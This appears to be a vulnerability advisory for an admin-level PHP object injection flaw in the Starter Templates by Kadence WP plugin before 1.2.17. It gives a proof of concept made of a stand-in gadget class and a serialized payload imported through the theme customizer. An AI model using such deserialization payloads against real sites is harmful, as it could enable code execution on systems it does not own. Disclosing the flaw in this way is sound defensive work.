Starter Templates by Kadence WP < 1.2.17 - Admin+ PHP Object Injection

2022-12-1600:00:00

Nguyen Pham Viet Nam

php object injection

gadget chain

arbitrary deserialization

kadence wp

admin+

starter templates

EPSS

0.002

Percentile

61.6%

JSON

The plugin unserialises the content of an imported file, which could lead to PHP object injection issues when an admin import (intentionally or not) a malicious file and a suitable gadget chain is present on the blog.

To simulate a gadget chain, put the following code in a plugin:

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Create a file named import.dat with the below content and import it (via Appearance > Customize > Import/Export):

O:4:"Evil":0:{};

EPSS

0.002

Percentile

61.6%

JSON

Related for WPEX-ID:EC4B9BF7-71D6-4528-9DD1-CC7779624760